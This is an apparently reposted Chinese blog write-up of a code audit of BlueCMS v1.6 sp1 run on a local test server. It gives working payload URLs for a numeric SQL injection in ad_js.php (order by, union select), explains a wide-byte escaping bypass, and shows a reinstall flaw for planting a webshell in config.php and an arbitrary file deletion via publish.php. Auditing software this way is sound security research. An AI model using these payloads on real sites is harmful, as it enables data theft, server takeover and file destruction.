BlueCMS代码审计

BlueCMS版本号为:bluecms_v1.6_sp1

本地搭建环境后将源代码丢进seay源代码审计系统,开启本地web服务页面访问,白盒+黑盒审计

 搭建好环境后第一步先检查是否有重装漏洞,访问网站install位置,我的网址是:

http://127.0.0.1/bluecms_v1.6_sp1/bluecms/install/

  

 可以看到存在重装漏洞,源代码里面没有检测网站是否已经搭建,所以我们可以通过重装获取管理员密码进而在后台写入shell

同时我们也可以在填入配置的时候,可以尝试直接写入一句话木马进config.php文件,从而拿到shell

这个时候seay审计工具也审计结束了

 我们可以依次进行分析,找出漏洞

进入ID=1的漏洞详情

疑似漏洞点为:

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

  可以看到$ad_id没有引号包裹,存在数字型SQL注入漏洞,接下来我们需要找到$ad_id参数的输入点,构造利用点

这里只对输入的$ad_id进行了空格的过滤

$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';

  输出位置代码为:

echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";

  而在ad_js.php文件的开头引入了过滤文件

require_once dirname(__FILE__) . '/include/common.inc.php';

  我们查看common.inc.php文件,有

if(!get_magic_quotes_gpc())
{
	$_POST = deep_addslashes($_POST);
	$_GET = deep_addslashes($_GET);
	$_COOKIES = deep_addslashes($_COOKIES);
	$_REQUEST = deep_addslashes($_REQUEST);
}

  若果没有开启GPC防注入的话,则对POST,GET,COOKIE,REQUEST参数都进行过滤,但是deep_addslashes

function deep_addslashes($str)
{
	if(is_array($str))
	{
		foreach($str as $key=>$val)
		{
			$str[$key] = deep_addslashes($val);
		}
	}
	else
	{
		$str = addslashes($str);
	}
	return $str;
}

  仅仅是在addslashes过滤函数基础上的一个修改,而addslashes函数是不能防止数字型注入的,回到刚才漏洞的注入点:

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

  可以看到这里是数字型的注入,所以我们能够直接进行注入。

添加单引号:

http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%27

  

 从源代码我们已经看出来这是数字型注入了,我们可以不输入单引号,但是如果不是数字型注入,我们尝试使用宽字节绕过GPC

  成功令%df%27合成一个汉字

 宽字节注入绕过GPC实际上是PHP与MySQL交互过程中发生编码转换导致的问题,从上面我们可以看到将转义符去除了,进而可以对于字符型注入

当然这里我们继续使用数字型,使用order by 判断字段数

http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%20order%20by%207

  页面没有任何显示,因为在ad_js.php的输出里面是

echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";

  将输出在源代码中注释了,不会显示在界面中,想要查看也很简单,查看源代码即可

字段数是7,查看回显位置

http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,6,7

  

 回显位置是7,简单查看一下user用户

 成功读取当前用户,SQL注入漏洞成功利用。

第二个漏洞点在:

$db->query("UPDATE ".table('ann')." SET click = click+1 WHERE ann_id = ".$ann_id);

  同样可以看到可能存在数字型注入

$ann_id = !empty($_REQUEST['ann_id']) ? intval($_REQUEST['ann_id']) : '';

  但是在这里将输入的ann_id进行了数字的转换,以至于不能进一步利用

另外好几个疑似SQL注入的点都是用intval进行了数字转换导致不能利用

疑似任意文件删除漏洞:

elseif($act == 'del_pic')
{
 	$id = $_REQUEST['id'];
 	$db->query("DELETE FROM ".table('post_pic')." WHERE pic_path='$id'");
 	if(file_exists(BLUE_ROOT.$id))
 	{
 		@unlink(BLUE_ROOT.$id);
 	}
}

  可以看出来,选择动作为删除,传入id参数,最后的@unlink却是当$id文件存在时,在当前目录下直接删除,本来应该是删除指定id的文件吧。

我们在同目录下创建test.txt

payload为:

http://127.0.0.1/bluecms_v1.6_sp1/bluecms/publish.php?act=del_pic&id=test.txt

  

 访问构造的网址

 文件已删除,进一步可删除服务器任意文件

明天再更

猜你喜欢

转载自www.cnblogs.com/Cl0ud/p/12739864.html
今日推荐